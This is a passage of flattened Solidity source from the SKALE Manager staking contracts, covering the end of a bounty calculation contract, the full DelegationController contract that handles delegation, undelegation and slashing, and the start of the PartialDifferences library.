year.sub(6).div(3).add(1); if (power < 256) { return YEAR6_BOUNTY.div(2 ** power).div(EPOCHS_PER_YEAR); } else { return 0; } } else { uint[6] memory customBounties = [ YEAR1_BOUNTY, YEAR2_BOUNTY, YEAR3_BOUNTY, YEAR4_BOUNTY, YEAR5_BOUNTY, YEAR6_BOUNTY ]; return customBounties[year].div(EPOCHS_PER_YEAR); } } function _reduceBounty( uint bounty, uint nodeIndex, Nodes nodes, ConstantsHolder constants ) private returns (uint reducedBounty) { if (!bountyReduction) { return bounty; } reducedBounty = bounty; if (!nodes.checkPossibilityToMaintainNode(nodes.getValidatorId(nodeIndex), nodeIndex)) { reducedBounty = reducedBounty.div(constants.MSR_REDUCING_COEFFICIENT()); } } function _prepareBountyHistory(uint validatorId, uint currentMonth) private { if (_bountyHistory[validatorId].month < currentMonth) { _bountyHistory[validatorId].month = currentMonth; delete _bountyHistory[validatorId].bountyPaid; } } function _getBountyPaid(uint validatorId, uint month) private view returns (uint) { require(_bountyHistory[validatorId].month <= month, "Can't get bounty paid"); if (_bountyHistory[validatorId].month == month) { return _bountyHistory[validatorId].bountyPaid; } else { return 0; } } function _getNextRewardTimestamp(uint nodeIndex, Nodes nodes, TimeHelpers timeHelpers) private view returns (uint) { uint lastRewardTimestamp = nodes.getNodeLastRewardDate(nodeIndex); uint lastRewardMonth = timeHelpers.timestampToMonth(lastRewardTimestamp); uint lastRewardMonthStart = timeHelpers.monthToTimestamp(lastRewardMonth); uint timePassedAfterMonthStart = lastRewardTimestamp.sub(lastRewardMonthStart); uint currentMonth = timeHelpers.getCurrentMonth(); assert(lastRewardMonth <= currentMonth); if (lastRewardMonth == currentMonth) { uint nextMonthStart = timeHelpers.monthToTimestamp(currentMonth.add(1)); uint nextMonthFinish = timeHelpers.monthToTimestamp(lastRewardMonth.add(2)); if (lastRewardTimestamp < lastRewardMonthStart.add(nodeCreationWindowSeconds)) { return nextMonthStart.sub(BOUNTY_WINDOW_SECONDS); } else { return _min(nextMonthStart.add(timePassedAfterMonthStart), nextMonthFinish.sub(BOUNTY_WINDOW_SECONDS)); } } else if (lastRewardMonth.add(1) == currentMonth) { uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth); uint currentMonthFinish = timeHelpers.monthToTimestamp(currentMonth.add(1)); return _min( currentMonthStart.add(_max(timePassedAfterMonthStart, nodeCreationWindowSeconds)), currentMonthFinish.sub(BOUNTY_WINDOW_SECONDS) ); } else { uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth); return currentMonthStart.add(nodeCreationWindowSeconds); } } function _min(uint a, uint b) private pure returns (uint) { if (a < b) { return a; } else { return b; } } function _max(uint a, uint b) private pure returns (uint) { if (a < b) { return b; } else { return a; } } } // SPDX-License-Identifier: AGPL-3.0-only /* DelegationController.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../BountyV2.sol"; import "../Nodes.sol"; import "../Permissions.sol"; import "../utils/FractionUtils.sol"; import "../utils/MathUtils.sol"; import "./DelegationPeriodManager.sol"; import "./PartialDifferences.sol"; import "./Punisher.sol"; import "./TokenState.sol"; import "./ValidatorService.sol"; /** * @title Delegation Controller * @dev This contract performs all delegation functions including delegation * requests, and undelegation, etc. * * Delegators and validators may both perform delegations. Validators who perform * delegations to themselves are effectively self-delegating or self-bonding. * * IMPORTANT: Undelegation may be requested at any time, but undelegation is only * performed at the completion of the current delegation period. * * Delegated tokens may be in one of several states: * * - PROPOSED: token holder proposes tokens to delegate to a validator. * - ACCEPTED: token delegations are accepted by a validator and are locked-by-delegation. * - CANCELED: token holder cancels delegation proposal. Only allowed before the proposal is accepted by the validator. * - REJECTED: token proposal expires at the UTC start of the next month. * - DELEGATED: accepted delegations are delegated at the UTC start of the month. * - UNDELEGATION_REQUESTED: token holder requests delegations to undelegate from the validator. * - COMPLETED: undelegation request is completed at the end of the delegation period. */ contract DelegationController is Permissions, ILocker { using MathUtils for uint; using PartialDifferences for PartialDifferences.Sequence; using PartialDifferences for PartialDifferences.Value; using FractionUtils for FractionUtils.Fraction; uint public constant UNDELEGATION_PROHIBITION_WINDOW_SECONDS = 3 * 24 * 60 * 60; enum State { PROPOSED, ACCEPTED, CANCELED, REJECTED, DELEGATED, UNDELEGATION_REQUESTED, COMPLETED } struct Delegation { address holder; // address of token owner uint validatorId; uint amount; uint delegationPeriod; uint created; // time of delegation creation uint started; // month when a delegation becomes active uint finished; // first month after a delegation ends string info; } struct SlashingLogEvent { FractionUtils.Fraction reducingCoefficient; uint nextMonth; } struct SlashingLog { // month => slashing event mapping (uint => SlashingLogEvent) slashes; uint firstMonth; uint lastMonth; } struct DelegationExtras { uint lastSlashingMonthBeforeDelegation; } struct SlashingEvent { FractionUtils.Fraction reducingCoefficient; uint validatorId; uint month; } struct SlashingSignal { address holder; uint penalty; } struct LockedInPending { uint amount; uint month; } struct FirstDelegationMonth { // month uint value; //validatorId => month mapping (uint => uint) byValidator; } struct ValidatorsStatistics { // number of validators uint number; //validatorId => bool - is Delegated or not mapping (uint => uint) delegated; } /** * @dev Emitted when a delegation is proposed to a validator. */ event DelegationProposed( uint delegationId ); /** * @dev Emitted when a delegation is accepted by a validator. */ event DelegationAccepted( uint delegationId ); /** * @dev Emitted when a delegation is cancelled by the delegator. */ event DelegationRequestCanceledByUser( uint delegationId ); /** * @dev Emitted when a delegation is requested to undelegate. */ event UndelegationRequested( uint delegationId ); /// @dev delegations will never be deleted to index in this array may be used like delegation id Delegation[] public delegations; // validatorId => delegationId[] mapping (uint => uint[]) public delegationsByValidator; // holder => delegationId[] mapping (address => uint[]) public delegationsByHolder; // delegationId => extras mapping(uint => DelegationExtras) private _delegationExtras; // validatorId => sequence mapping (uint => PartialDifferences.Value) private _delegatedToValidator; // validatorId => sequence mapping (uint => PartialDifferences.Sequence) private _effectiveDelegatedToValidator; // validatorId => slashing log mapping (uint => SlashingLog) private _slashesOfValidator; // holder => sequence mapping (address => PartialDifferences.Value) private _delegatedByHolder; // holder => validatorId => sequence mapping (address => mapping (uint => PartialDifferences.Value)) private _delegatedByHolderToValidator; // holder => validatorId => sequence mapping (address => mapping (uint => PartialDifferences.Sequence)) private _effectiveDelegatedByHolderToValidator; SlashingEvent[] private _slashes; // holder => index in _slashes; mapping (address => uint) private _firstUnprocessedSlashByHolder; // holder => validatorId => month mapping (address => FirstDelegationMonth) private _firstDelegationMonth; // holder => locked in pending mapping (address => LockedInPending) private _lockedInPendingDelegations; mapping (address => ValidatorsStatistics) private _numberOfValidatorsPerDelegator; /** * @dev Modifier to make a function callable only if delegation exists. */ modifier checkDelegationExists(uint delegationId) { require(delegationId < delegations.length, "Delegation does not exist"); _; } /** * @dev Update and return a validator's delegations. */ function getAndUpdateDelegatedToValidatorNow(uint validatorId) external returns (uint) { return _getAndUpdateDelegatedToValidator(validatorId, _getCurrentMonth()); } /** * @dev Update and return the amount delegated. */ function getAndUpdateDelegatedAmount(address holder) external returns (uint) { return _getAndUpdateDelegatedByHolder(holder); } /** * @dev Update and return the effective amount delegated (minus slash) for * the given month. */ function getAndUpdateEffectiveDelegatedByHolderToValidator(address holder, uint validatorId, uint month) external allow("Distributor") returns (uint effectiveDelegated) { SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(holder); effectiveDelegated = _effectiveDelegatedByHolderToValidator[holder][validatorId] .getAndUpdateValueInSequence(month); _sendSlashingSignals(slashingSignals); } /** * @dev Allows a token holder to create a delegation proposal of an `amount` * and `delegationPeriod` to a `validatorId`. Delegation must be accepted * by the validator before the UTC start of the month, otherwise the * delegation will be rejected. * * The token holder may add additional information in each proposal. * * Emits a {DelegationProposed} event. * * Requirements: * * - Holder must have sufficient delegatable tokens. * - Delegation must be above the validator's minimum delegation amount. * - Delegation period must be allowed. * - Validator must be authorized if trusted list is enabled. * - Validator must be accepting new delegation requests. */ function delegate( uint validatorId, uint amount, uint delegationPeriod, string calldata info ) external { require( _getDelegationPeriodManager().isDelegationPeriodAllowed(delegationPeriod), "This delegation period is not allowed"); _getValidatorService().checkValidatorCanReceiveDelegation(validatorId, amount); _checkIfDelegationIsAllowed(msg.sender, validatorId); SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(msg.sender); uint delegationId = _addDelegation( msg.sender, validatorId, amount, delegationPeriod, info); // check that there is enough money uint holderBalance = IERC777(contractManager.getSkaleToken()).balanceOf(msg.sender); uint forbiddenForDelegation = TokenState(contractManager.getTokenState()) .getAndUpdateForbiddenForDelegationAmount(msg.sender); require(holderBalance >= forbiddenForDelegation, "Token holder does not have enough tokens to delegate"); emit DelegationProposed(delegationId); _sendSlashingSignals(slashingSignals); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev Allows token holder to cancel a delegation proposal. * * Emits a {DelegationRequestCanceledByUser} event. * * Requirements: * * - `msg.sender` must be the token holder of the delegation proposal. * - Delegation state must be PROPOSED. */ function cancelPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) { require(msg.sender == delegations[delegationId].holder, "Only token holders can cancel delegation request"); require(getState(delegationId) == State.PROPOSED, "Token holders are only able to cancel PROPOSED delegations"); delegations[delegationId].finished = _getCurrentMonth(); _subtractFromLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount); emit DelegationRequestCanceledByUser(delegationId); } /** * @dev Allows a validator to accept a proposed delegation. * Successful acceptance of delegations transition the tokens from a * PROPOSED state to ACCEPTED, and tokens are locked for the remainder of the * delegation period. * * Emits a {DelegationAccepted} event. * * Requirements: * * - Validator must be recipient of proposal. * - Delegation state must be PROPOSED. */ function acceptPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) { require( _getValidatorService().checkValidatorAddressToId(msg.sender, delegations[delegationId].validatorId), "No permissions to accept request"); _accept(delegationId); } /** * @dev Allows delegator to undelegate a specific delegation. * * Emits UndelegationRequested event. * * Requirements: * * - `msg.sender` must be the delegator. * - Delegation state must be DELEGATED. */ function requestUndelegation(uint delegationId) external checkDelegationExists(delegationId) { require(getState(delegationId) == State.DELEGATED, "Cannot request undelegation"); ValidatorService validatorService = _getValidatorService(); require( delegations[delegationId].holder == msg.sender || (validatorService.validatorAddressExists(msg.sender) && delegations[delegationId].validatorId == validatorService.getValidatorId(msg.sender)), "Permission denied to request undelegation"); _removeValidatorFromValidatorsPerDelegators( delegations[delegationId].holder, delegations[delegationId].validatorId); processAllSlashes(msg.sender); delegations[delegationId].finished = _calculateDelegationEndMonth(delegationId); require( now.add(UNDELEGATION_PROHIBITION_WINDOW_SECONDS) < _getTimeHelpers().monthToTimestamp(delegations[delegationId].finished), "Undelegation requests must be sent 3 days before the end of delegation period" ); _subtractFromAllStatistics(delegationId); emit UndelegationRequested(delegationId); } /** * @dev Allows Punisher contract to slash an `amount` of stake from * a validator. This slashes an amount of delegations of the validator, * which reduces the amount that the validator has staked. This consequence * may force the SKALE Manager to reduce the number of nodes a validator is * operating so the validator can meet the Minimum Staking Requirement. * * Emits a {SlashingEvent}. * * See {Punisher}. */ function confiscate(uint validatorId, uint amount) external allow("Punisher") { uint currentMonth = _getCurrentMonth(); FractionUtils.Fraction memory coefficient = _delegatedToValidator[validatorId].reduceValue(amount, currentMonth); uint initialEffectiveDelegated = _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth); uint[] memory initialSubtractions = new uint[](0); if (currentMonth < _effectiveDelegatedToValidator[validatorId].lastChangedMonth) { initialSubtractions = new uint[]( _effectiveDelegatedToValidator[validatorId].lastChangedMonth.sub(currentMonth) ); for (uint i = 0; i < initialSubtractions.length; ++i) { initialSubtractions[i] = _effectiveDelegatedToValidator[validatorId] .subtractDiff[currentMonth.add(i).add(1)]; } } _effectiveDelegatedToValidator[validatorId].reduceSequence(coefficient, currentMonth); _putToSlashingLog(_slashesOfValidator[validatorId], coefficient, currentMonth); _slashes.push(SlashingEvent({reducingCoefficient: coefficient, validatorId: validatorId, month: currentMonth})); BountyV2 bounty = _getBounty(); bounty.handleDelegationRemoving( initialEffectiveDelegated.sub( _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth) ), currentMonth ); for (uint i = 0; i < initialSubtractions.length; ++i) { bounty.handleDelegationAdd( initialSubtractions[i].sub( _effectiveDelegatedToValidator[validatorId].subtractDiff[currentMonth.add(i).add(1)] ), currentMonth.add(i).add(1) ); } } /** * @dev Allows Distributor contract to return and update the effective * amount delegated (minus slash) to a validator for a given month. */ function getAndUpdateEffectiveDelegatedToValidator(uint validatorId, uint month) external allowTwo("Bounty", "Distributor") returns (uint) { return _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(month); } /** * @dev Return and update the amount delegated to a validator for the * current month. */ function getAndUpdateDelegatedByHolderToValidatorNow(address holder, uint validatorId) external returns (uint) { return _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, _getCurrentMonth()); } function getEffectiveDelegatedValuesByValidator(uint validatorId) external view returns (uint[] memory) { return _effectiveDelegatedToValidator[validatorId].getValuesInSequence(); } function getEffectiveDelegatedToValidator(uint validatorId, uint month) external view returns (uint) { return _effectiveDelegatedToValidator[validatorId].getValueInSequence(month); } function getDelegatedToValidator(uint validatorId, uint month) external view returns (uint) { return _delegatedToValidator[validatorId].getValue(month); } /** * @dev Return Delegation struct. */ function getDelegation(uint delegationId) external view checkDelegationExists(delegationId) returns (Delegation memory) { return delegations[delegationId]; } /** * @dev Returns the first delegation month. */ function getFirstDelegationMonth(address holder, uint validatorId) external view returns(uint) { return _firstDelegationMonth[holder].byValidator[validatorId]; } /** * @dev Returns a validator's total number of delegations. */ function getDelegationsByValidatorLength(uint validatorId) external view returns (uint) { return delegationsByValidator[validatorId].length; } /** * @dev Returns a holder's total number of delegations. */ function getDelegationsByHolderLength(address holder) external view returns (uint) { return delegationsByHolder[holder].length; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } /** * @dev Process slashes up to the given limit. */ function processSlashes(address holder, uint limit) public { _sendSlashingSignals(_processSlashesWithoutSignals(holder, limit)); } /** * @dev Process all slashes. */ function processAllSlashes(address holder) public { processSlashes(holder, 0); } /** * @dev Returns the token state of a given delegation. */ function getState(uint delegationId) public view checkDelegationExists(delegationId) returns (State state) { if (delegations[delegationId].started == 0) { if (delegations[delegationId].finished == 0) { if (_getCurrentMonth() == _getTimeHelpers().timestampToMonth(delegations[delegationId].created)) { return State.PROPOSED; } else { return State.REJECTED; } } else { return State.CANCELED; } } else { if (_getCurrentMonth() < delegations[delegationId].started) { return State.ACCEPTED; } else { if (delegations[delegationId].finished == 0) { return State.DELEGATED; } else { if (_getCurrentMonth() < delegations[delegationId].finished) { return State.UNDELEGATION_REQUESTED; } else { return State.COMPLETED; } } } } } /** * @dev Returns the amount of tokens in PENDING delegation state. */ function getLockedInPendingDelegations(address holder) public view returns (uint) { uint currentMonth = _getCurrentMonth(); if (_lockedInPendingDelegations[holder].month < currentMonth) { return 0; } else { return _lockedInPendingDelegations[holder].amount; } } /** * @dev Checks whether there are any unprocessed slashes. */ function hasUnprocessedSlashes(address holder) public view returns (bool) { return _everDelegated(holder) && _firstUnprocessedSlashByHolder[holder] < _slashes.length; } // private /** * @dev Allows Nodes contract to get and update the amount delegated * to validator for a given month. */ function _getAndUpdateDelegatedToValidator(uint validatorId, uint month) private returns (uint) { return _delegatedToValidator[validatorId].getAndUpdateValue(month); } /** * @dev Adds a new delegation proposal. */ function _addDelegation( address holder, uint validatorId, uint amount, uint delegationPeriod, string memory info ) private returns (uint delegationId) { delegationId = delegations.length; delegations.push(Delegation( holder, validatorId, amount, delegationPeriod, now, 0, 0, info )); delegationsByValidator[validatorId].push(delegationId); delegationsByHolder[holder].push(delegationId); _addToLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount); } /** * @dev Returns the month when a delegation ends. */ function _calculateDelegationEndMonth(uint delegationId) private view returns (uint) { uint currentMonth = _getCurrentMonth(); uint started = delegations[delegationId].started; if (currentMonth < started) { return started.add(delegations[delegationId].delegationPeriod); } else { uint completedPeriods = currentMonth.sub(started).div(delegations[delegationId].delegationPeriod); return started.add(completedPeriods.add(1).mul(delegations[delegationId].delegationPeriod)); } } function _addToDelegatedToValidator(uint validatorId, uint amount, uint month) private { _delegatedToValidator[validatorId].addToValue(amount, month); } function _addToEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedToValidator[validatorId].addToSequence(effectiveAmount, month); } function _addToDelegatedByHolder(address holder, uint amount, uint month) private { _delegatedByHolder[holder].addToValue(amount, month); } function _addToDelegatedByHolderToValidator( address holder, uint validatorId, uint amount, uint month) private { _delegatedByHolderToValidator[holder][validatorId].addToValue(amount, month); } function _addValidatorToValidatorsPerDelegators(address holder, uint validatorId) private { if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0) { _numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.add(1); } _numberOfValidatorsPerDelegator[holder]. delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].add(1); } function _removeFromDelegatedByHolder(address holder, uint amount, uint month) private { _delegatedByHolder[holder].subtractFromValue(amount, month); } function _removeFromDelegatedByHolderToValidator( address holder, uint validatorId, uint amount, uint month) private { _delegatedByHolderToValidator[holder][validatorId].subtractFromValue(amount, month); } function _removeValidatorFromValidatorsPerDelegators(address holder, uint validatorId) private { if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 1) { _numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.sub(1); } _numberOfValidatorsPerDelegator[holder]. delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].sub(1); } function _addToEffectiveDelegatedByHolderToValidator( address holder, uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedByHolderToValidator[holder][validatorId].addToSequence(effectiveAmount, month); } function _removeFromEffectiveDelegatedByHolderToValidator( address holder, uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedByHolderToValidator[holder][validatorId].subtractFromSequence(effectiveAmount, month); } function _getAndUpdateDelegatedByHolder(address holder) private returns (uint) { uint currentMonth = _getCurrentMonth(); processAllSlashes(holder); return _delegatedByHolder[holder].getAndUpdateValue(currentMonth); } function _getAndUpdateDelegatedByHolderToValidator( address holder, uint validatorId, uint month) private returns (uint) { return _delegatedByHolderToValidator[holder][validatorId].getAndUpdateValue(month); } function _addToLockedInPendingDelegations(address holder, uint amount) private returns (uint) { uint currentMonth = _getCurrentMonth(); if (_lockedInPendingDelegations[holder].month < currentMonth) { _lockedInPendingDelegations[holder].amount = amount; _lockedInPendingDelegations[holder].month = currentMonth; } else { assert(_lockedInPendingDelegations[holder].month == currentMonth); _lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.add(amount); } } function _subtractFromLockedInPendingDelegations(address holder, uint amount) private returns (uint) { uint currentMonth = _getCurrentMonth(); assert(_lockedInPendingDelegations[holder].month == currentMonth); _lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.sub(amount); } function _getCurrentMonth() private view returns (uint) { return _getTimeHelpers().getCurrentMonth(); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function _getAndUpdateLockedAmount(address wallet) private returns (uint) { return _getAndUpdateDelegatedByHolder(wallet).add(getLockedInPendingDelegations(wallet)); } function _updateFirstDelegationMonth(address holder, uint validatorId, uint month) private { if (_firstDelegationMonth[holder].value == 0) { _firstDelegationMonth[holder].value = month; _firstUnprocessedSlashByHolder[holder] = _slashes.length; } if (_firstDelegationMonth[holder].byValidator[validatorId] == 0) { _firstDelegationMonth[holder].byValidator[validatorId] = month; } } /** * @dev Checks whether the holder has performed a delegation. */ function _everDelegated(address holder) private view returns (bool) { return _firstDelegationMonth[holder].value > 0; } function _removeFromDelegatedToValidator(uint validatorId, uint amount, uint month) private { _delegatedToValidator[validatorId].subtractFromValue(amount, month); } function _removeFromEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedToValidator[validatorId].subtractFromSequence(effectiveAmount, month); } /** * @dev Returns the delegated amount after a slashing event. */ function _calculateDelegationAmountAfterSlashing(uint delegationId) private view returns (uint) { uint startMonth = _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation; uint validatorId = delegations[delegationId].validatorId; uint amount = delegations[delegationId].amount; if (startMonth == 0) { startMonth = _slashesOfValidator[validatorId].firstMonth; if (startMonth == 0) { return amount; } } for (uint i = startMonth; i > 0 && i < delegations[delegationId].finished; i = _slashesOfValidator[validatorId].slashes[i].nextMonth) { if (i >= delegations[delegationId].started) { amount = amount .mul(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.numerator) .div(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.denominator); } } return amount; } function _putToSlashingLog( SlashingLog storage log, FractionUtils.Fraction memory coefficient, uint month) private { if (log.firstMonth == 0) { log.firstMonth = month; log.lastMonth = month; log.slashes[month].reducingCoefficient = coefficient; log.slashes[month].nextMonth = 0; } else { require(log.lastMonth <= month, "Cannot put slashing event in the past"); if (log.lastMonth == month) { log.slashes[month].reducingCoefficient = log.slashes[month].reducingCoefficient.multiplyFraction(coefficient); } else { log.slashes[month].reducingCoefficient = coefficient; log.slashes[month].nextMonth = 0; log.slashes[log.lastMonth].nextMonth = month; log.lastMonth = month; } } } function _processSlashesWithoutSignals(address holder, uint limit) private returns (SlashingSignal[] memory slashingSignals) { if (hasUnprocessedSlashes(holder)) { uint index = _firstUnprocessedSlashByHolder[holder]; uint end = _slashes.length; if (limit > 0 && index.add(limit) < end) { end = index.add(limit); } slashingSignals = new SlashingSignal[](end.sub(index)); uint begin = index; for (; index < end; ++index) { uint validatorId = _slashes[index].validatorId; uint month = _slashes[index].month; uint oldValue = _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month); if (oldValue.muchGreater(0)) { _delegatedByHolderToValidator[holder][validatorId].reduceValueByCoefficientAndUpdateSum( _delegatedByHolder[holder], _slashes[index].reducingCoefficient, month); _effectiveDelegatedByHolderToValidator[holder][validatorId].reduceSequence( _slashes[index].reducingCoefficient, month); slashingSignals[index.sub(begin)].holder = holder; slashingSignals[index.sub(begin)].penalty = oldValue.boundedSub(_getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month)); } } _firstUnprocessedSlashByHolder[holder] = end; } } function _processAllSlashesWithoutSignals(address holder) private returns (SlashingSignal[] memory slashingSignals) { return _processSlashesWithoutSignals(holder, 0); } function _sendSlashingSignals(SlashingSignal[] memory slashingSignals) private { Punisher punisher = Punisher(contractManager.getPunisher()); address previousHolder = address(0); uint accumulatedPenalty = 0; for (uint i = 0; i < slashingSignals.length; ++i) { if (slashingSignals[i].holder != previousHolder) { if (accumulatedPenalty > 0) { punisher.handleSlash(previousHolder, accumulatedPenalty); } previousHolder = slashingSignals[i].holder; accumulatedPenalty = slashingSignals[i].penalty; } else { accumulatedPenalty = accumulatedPenalty.add(slashingSignals[i].penalty); } } if (accumulatedPenalty > 0) { punisher.handleSlash(previousHolder, accumulatedPenalty); } } function _addToAllStatistics(uint delegationId) private { uint currentMonth = _getCurrentMonth(); delegations[delegationId].started = currentMonth.add(1); if (_slashesOfValidator[delegations[delegationId].validatorId].lastMonth > 0) { _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation = _slashesOfValidator[delegations[delegationId].validatorId].lastMonth; } _addToDelegatedToValidator( delegations[delegationId].validatorId, delegations[delegationId].amount, currentMonth.add(1)); _addToDelegatedByHolder( delegations[delegationId].holder, delegations[delegationId].amount, currentMonth.add(1)); _addToDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, delegations[delegationId].amount, currentMonth.add(1)); _updateFirstDelegationMonth( delegations[delegationId].holder, delegations[delegationId].validatorId, currentMonth.add(1)); uint effectiveAmount = delegations[delegationId].amount.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)); _addToEffectiveDelegatedToValidator( delegations[delegationId].validatorId, effectiveAmount, currentMonth.add(1)); _addToEffectiveDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, effectiveAmount, currentMonth.add(1)); _addValidatorToValidatorsPerDelegators( delegations[delegationId].holder, delegations[delegationId].validatorId ); } function _subtractFromAllStatistics(uint delegationId) private { uint amountAfterSlashing = _calculateDelegationAmountAfterSlashing(delegationId); _removeFromDelegatedToValidator( delegations[delegationId].validatorId, amountAfterSlashing, delegations[delegationId].finished); _removeFromDelegatedByHolder( delegations[delegationId].holder, amountAfterSlashing, delegations[delegationId].finished); _removeFromDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, amountAfterSlashing, delegations[delegationId].finished); uint effectiveAmount = amountAfterSlashing.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)); _removeFromEffectiveDelegatedToValidator( delegations[delegationId].validatorId, effectiveAmount, delegations[delegationId].finished); _removeFromEffectiveDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, effectiveAmount, delegations[delegationId].finished); _getBounty().handleDelegationRemoving( effectiveAmount, delegations[delegationId].finished); } /** * @dev Checks whether delegation to a validator is allowed. * * Requirements: * * - Delegator must not have reached the validator limit. * - Delegation must be made in or after the first delegation month. */ function _checkIfDelegationIsAllowed(address holder, uint validatorId) private view returns (bool) { require( _numberOfValidatorsPerDelegator[holder].delegated[validatorId] > 0 || ( _numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0 && _numberOfValidatorsPerDelegator[holder].number < _getConstantsHolder().limitValidatorsPerDelegator() ), "Limit of validators is reached" ); } function _getDelegationPeriodManager() private view returns (DelegationPeriodManager) { return DelegationPeriodManager(contractManager.getDelegationPeriodManager()); } function _getBounty() private view returns (BountyV2) { return BountyV2(contractManager.getBounty()); } function _getValidatorService() private view returns (ValidatorService) { return ValidatorService(contractManager.getValidatorService()); } function _getTimeHelpers() private view returns (TimeHelpers) { return TimeHelpers(contractManager.getTimeHelpers()); } function _getConstantsHolder() private view returns (ConstantsHolder) { return ConstantsHolder(contractManager.getConstantsHolder()); } function _accept(uint delegationId) private { _checkIfDelegationIsAllowed(delegations[delegationId].holder, delegations[delegationId].validatorId); State currentState = getState(delegationId); if (currentState != State.PROPOSED) { if (currentState == State.ACCEPTED || currentState == State.DELEGATED || currentState == State.UNDELEGATION_REQUESTED || currentState == State.COMPLETED) { revert("The delegation has been already accepted"); } else if (currentState == State.CANCELED) { revert("The delegation has been cancelled by token holder"); } else if (currentState == State.REJECTED) { revert("The delegation request is outdated"); } } require(currentState == State.PROPOSED, "Cannot set delegation state to accepted"); SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(delegations[delegationId].holder); _addToAllStatistics(delegationId); uint amount = delegations[delegationId].amount; uint effectiveAmount = amount.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod) ); _getBounty().handleDelegationAdd( effectiveAmount, delegations[delegationId].started ); _sendSlashingSignals(slashingSignals); emit DelegationAccepted(delegationId); } } // SPDX-License-Identifier: AGPL-3.0-only /* PartialDifferences.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../utils/MathUtils.sol"; import "../utils/FractionUtils.sol"; /** * @title Partial Differences Library * @dev This library contains functions to manage Partial Differences data * structure. Partial Differences is an array of value differences over time. * * For example: assuming an array [3, 6, 3, 1, 2], partial differences can * represent this array as [_, 3, -3, -2, 1]. * * This data structure allows adding values on an open interval with O(1) * complexity. * * For example: add +5 to [3, 6, 3, 1, 2] starting from the second element (3), * instead of performing [3, 6, 3+5, 1+5, 2+5] partial differences allows * performing [_, 3, -3+5, -2, 1]. The original array can be restored by * adding values from partial differences. */ library PartialDifferences { using SafeMath for uint; using MathUtils for uint; struct Sequence { // month => diff mapping (uint => uint) addDiff; // month => diff mapping (uint => uint) subtractDiff; // month => value mapping (uint => uint) value; uint firstUnprocessedMonth; uint lastChangedMonth; } struct Value { // month => diff mapping (uint => uint) addDiff; // month => diff mapping (uint => uint) subtractDiff; uint value; uint firstUnprocessedMonth; uint lastChangedMonth; } // functions for sequence function addToSequence(Sequence storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; } 